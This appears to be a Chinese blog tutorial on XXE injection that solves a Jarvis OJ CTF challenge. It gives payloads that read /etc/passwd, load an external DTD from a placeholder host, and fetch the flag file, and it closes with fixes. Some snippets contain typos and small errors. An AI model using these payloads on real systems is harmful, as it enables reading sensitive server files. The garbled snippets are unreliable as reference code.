以jarvis oj api接口为例讲解xxe攻击

7 篇文章 0 订阅
2 篇文章 0 订阅

以jarvis oj api接口为例讲解xxe攻击

xml基本介绍

xml被设计来进行数据的传输以及数据储存。
xml文档结构包括:

1c17b93b150744145e1835842cadd3f1[1].png
其中xxe就是利用DTD中特意声明某种协议再用文档元素进行调用来实现攻击。

xml内外部元素

由于可以对DTD进行声明,我们有两种选择:
内部实体声明:

<!DOCTYPE note [<!ELEMENT noet (xxx)>]> 

其中为根元素
<!ELEMENT note ()>为元素声明。
外部实体声明:

<!DOCTYPE note [<!ELEMENT note SYSTEM "协议"]	

区别在于声明元素时调用了外部的东西和协议。

XML外部实体注入(xee)

三种恶意引入方式
注:xxe作用以及威胁十分巨大因为可以调用内部的一些协议,通常会造成任意文件读取、系统执行命令、探测内网端口、攻击网站等等;
一:直接内部文件引用

<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<a>&b;</a>

在调用调用中直接声明了file协议,直接读取内部的文件。由于xml服务器没有对他人的声明做限制,所以会造成如此。
二:调用外部设定文件

<?xml version ="1.0"?>
<!DOCTYPE a[
<!ENTITY %d SYSTEM "http://xxxx.com/xxx.dtd"> 
%d
]>
<a>&b;</a>

其中xxx.dtd中写入:

<!ENTITY b SYSTEM "file///etc/passwd"

也就是说我们可以用其他的协议来进行调用,算是变样绕过把。!!!有没有发现现在源文件写入调用的时候产生了变化,我们的调用写成了b,因为我们的调用随着文件的调用而产生。
三:调用外部设定文件2.0

<?xml version ="1.0"?>
<!DOCTYPE a[
<!ENTITY a SYSTEM "http://xxxx.com/xxx.dtd"> 
]>
<a>&b;</a>

可能有的xjlg发现了这里的设定调用的变相绕过,更有甚者可以参考下:
链接 // 凉白开师傅的微博23333
简单利用就这么多,一般变相调用也多不到哪去,另外就是基础利用了

xml漏洞特征

1.可以对其传入一个xml信息,如果后台开始了解析,那么基本可以确定这个战具有后台漏洞。

这就是建议的测试。,

漏洞利用实战

题目:
http://web.jarvisoj.com:9882/
进入可以看到一个简单的界面:
image.png
首先进行测试,保证了不是sql注入,这里提示了api接口,而且,你输入什么后台就会解析出什么,不觉的和上面的例子很像么。
image.png
这里先用bp抓包看看到底交互了一些什么东西。
image.png
不出所料还真是个xml的信息包,看一下回显:
image.png
就是返回了一个简单的输入又自己给加上了own;
下面我们就用刚学到的三种方式之一来进行构造攻击:
注意两点:1. 题目给了目录,我们直接构造file的目录就行。2.Content-Type没有写xml,要加上,不然后台不解析。
进行构造:

Content-Type:text/xml
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "file:///home/ctf/flag.txt">
]>
<a>&b;</a>

利用成功:
image.png
比较简单的利用:
总结几点:

  1. 请求头的知识了解
  2. xml写法,不会的去看看:runoob.com
  3. XEE深度利用,综合利用,因为往往题目都是复合性的
  4. XXE漏洞的修复:直接禁用外部实体
libxml_disale_entity_loader(ture);

2.过滤用户关键字:SYSTEM ; PUBLIC;

XEE利用来对内网进行的一些攻击之后再讲,
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值